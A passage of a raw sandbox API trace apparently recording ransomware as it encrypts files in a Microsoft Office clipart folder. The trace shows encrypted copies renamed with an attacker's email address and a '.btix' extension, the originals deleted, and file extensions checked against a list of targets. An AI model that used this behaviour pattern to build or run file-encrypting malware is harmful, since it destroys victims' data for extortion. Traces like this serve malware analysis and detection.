lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0154.078] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.078] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.078] SetEndOfFile (hFile=0x38c) returned 1 [0154.078] CloseHandle (hObject=0x38c) returned 1 [0154.078] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.078] SetEndOfFile (hFile=0x374) returned 1 [0154.079] CloseHandle (hObject=0x374) returned 1 [0154.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0154.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0154.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0154.081] lstrlenW (lpString=".doc") returned 4 [0154.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.081] lstrlenW (lpString=".docx") returned 5 [0154.081] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.081] lstrlenW (lpString=".pdf") returned 4 [0154.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.081] lstrlenW (lpString=".xls") returned 4 [0154.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.081] lstrlenW (lpString=".xlsx") returned 5 [0154.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.081] lstrlenW (lpString=".ppt") returned 4 [0154.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0154.081] lstrlenW (lpString=".zip") returned 4 [0154.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.081] lstrlenW (lpString=".rar") returned 4 [0154.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.081] lstrlenW (lpString=".bz2") returned 4 [0154.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.081] lstrlenW (lpString=".7z") returned 3 [0154.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0154.081] lstrlenW (lpString=".dbf") returned 4 [0154.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0154.082] lstrlenW (lpString=".1cd") returned 4 [0154.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0154.082] lstrlenW (lpString=".jpg") returned 4 [0154.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.106] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.106] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.123] GetLastError () returned 0x0 [0154.123] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0154.151] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0154.152] ReadFile (in: hFile=0x36c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.152] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.152] SetEndOfFile (hFile=0x368) returned 1 [0154.152] CloseHandle (hObject=0x368) returned 1 [0154.152] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.152] SetEndOfFile (hFile=0x36c) returned 1 [0154.154] CloseHandle (hObject=0x36c) returned 1 [0154.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 1 [0154.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0154.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0154.155] lstrlenW (lpString=".doc") returned 4 [0154.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString=".docx") returned 5 [0154.155] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.155] lstrlenW (lpString=".pdf") returned 4 [0154.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString=".xls") returned 4 [0154.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.155] lstrlenW (lpString=".xlsx") returned 5 [0154.155] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.155] lstrlenW (lpString=".ppt") returned 4 [0154.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0154.155] lstrlenW (lpString=".zip") returned 4 [0154.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.155] lstrlenW (lpString=".rar") returned 4 [0154.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString=".bz2") returned 4 [0154.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.156] lstrlenW (lpString=".7z") returned 3 [0154.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0154.156] lstrlenW (lpString=".dbf") returned 4 [0154.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0154.156] lstrlenW (lpString=".1cd") returned 4 [0154.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF") returned 68 [0154.156] lstrlenW (lpString=".jpg") returned 4 [0154.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.166] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.166] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.168] GetLastError () returned 0x0 [0154.168] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xc44, lpOverlapped=0x0) returned 1 [0154.179] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xc50, lpOverlapped=0x0) returned 1 [0154.180] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.180] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.180] SetEndOfFile (hFile=0x38c) returned 1 [0154.180] CloseHandle (hObject=0x38c) returned 1 [0154.180] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.180] SetEndOfFile (hFile=0x348) returned 1 [0154.181] CloseHandle (hObject=0x348) returned 1 [0154.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0154.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0154.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0154.183] lstrlenW (lpString=".doc") returned 4 [0154.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.183] lstrlenW (lpString=".docx") returned 5 [0154.183] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.183] lstrlenW (lpString=".pdf") returned 4 [0154.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.183] lstrlenW (lpString=".xls") returned 4 [0154.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.184] lstrlenW (lpString=".xlsx") returned 5 [0154.184] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.184] lstrlenW (lpString=".ppt") returned 4 [0154.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0154.184] lstrlenW (lpString=".zip") returned 4 [0154.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.184] lstrlenW (lpString=".rar") returned 4 [0154.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString=".bz2") returned 4 [0154.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString=".7z") returned 3 [0154.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0154.184] lstrlenW (lpString=".dbf") returned 4 [0154.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0154.184] lstrlenW (lpString=".1cd") returned 4 [0154.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68 [0154.184] lstrlenW (lpString=".jpg") returned 4 [0154.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.186] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.186] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.186] GetLastError () returned 0x0 [0154.186] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x12b4, lpOverlapped=0x0) returned 1 [0154.192] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0154.193] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.193] WriteFile (in: hFile=0x38c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.193] SetEndOfFile (hFile=0x38c) returned 1 [0154.194] CloseHandle (hObject=0x38c) returned 1 [0154.194] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.194] SetEndOfFile (hFile=0x348) returned 1 [0154.195] CloseHandle (hObject=0x348) returned 1 [0154.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0154.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0154.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0154.198] lstrlenW (lpString=".doc") returned 4 [0154.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString=".docx") returned 5 [0154.198] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.198] lstrlenW (lpString=".pdf") returned 4 [0154.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString=".xls") returned 4 [0154.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.198] lstrlenW (lpString=".xlsx") returned 5 [0154.198] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.198] lstrlenW (lpString=".ppt") returned 4 [0154.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0154.198] lstrlenW (lpString=".zip") returned 4 [0154.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.198] lstrlenW (lpString=".rar") returned 4 [0154.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString=".bz2") returned 4 [0154.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString=".7z") returned 3 [0154.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0154.198] lstrlenW (lpString=".dbf") returned 4 [0154.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0154.198] lstrlenW (lpString=".1cd") returned 4 [0154.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0154.199] lstrlenW (lpString=".jpg") returned 4 [0154.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.202] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.202] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.487] GetLastError () returned 0x0 [0154.487] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x126c, lpOverlapped=0x0) returned 1 [0154.492] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1270, lpOverlapped=0x0) returned 1 [0154.493] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.493] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.493] SetEndOfFile (hFile=0x358) returned 1 [0154.493] CloseHandle (hObject=0x358) returned 1 [0154.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.493] SetEndOfFile (hFile=0x38c) returned 1 [0154.494] CloseHandle (hObject=0x38c) returned 1 [0154.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0154.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0154.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0154.495] lstrlenW (lpString=".doc") returned 4 [0154.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString=".docx") returned 5 [0154.495] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.495] lstrlenW (lpString=".pdf") returned 4 [0154.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString=".xls") returned 4 [0154.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.495] lstrlenW (lpString=".xlsx") returned 5 [0154.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.495] lstrlenW (lpString=".ppt") returned 4 [0154.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0154.495] lstrlenW (lpString=".zip") returned 4 [0154.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.495] lstrlenW (lpString=".rar") returned 4 [0154.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString=".bz2") returned 4 [0154.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString=".7z") returned 3 [0154.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0154.495] lstrlenW (lpString=".dbf") returned 4 [0154.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0154.495] lstrlenW (lpString=".1cd") returned 4 [0154.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0154.495] lstrlenW (lpString=".jpg") returned 4 [0154.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.498] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.498] GetLastError () returned 0x0 [0154.499] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x9d27, lpOverlapped=0x0) returned 1 [0154.542] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x9d30, lpOverlapped=0x0) returned 1 [0154.543] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.543] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.543] SetEndOfFile (hFile=0x35c) returned 1 [0154.544] CloseHandle (hObject=0x35c) returned 1 [0154.545] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.545] SetEndOfFile (hFile=0x378) returned 1 [0154.546] CloseHandle (hObject=0x378) returned 1 [0154.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0154.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0154.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0154.547] lstrlenW (lpString=".doc") returned 4 [0154.547] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0154.547] lstrlenW (lpString=".docx") returned 5 [0154.547] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0154.547] lstrlenW (lpString=".pdf") returned 4 [0154.547] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0154.547] lstrlenW (lpString=".xls") returned 4 [0154.547] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0154.547] lstrlenW (lpString=".xlsx") returned 5 [0154.547] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0154.547] 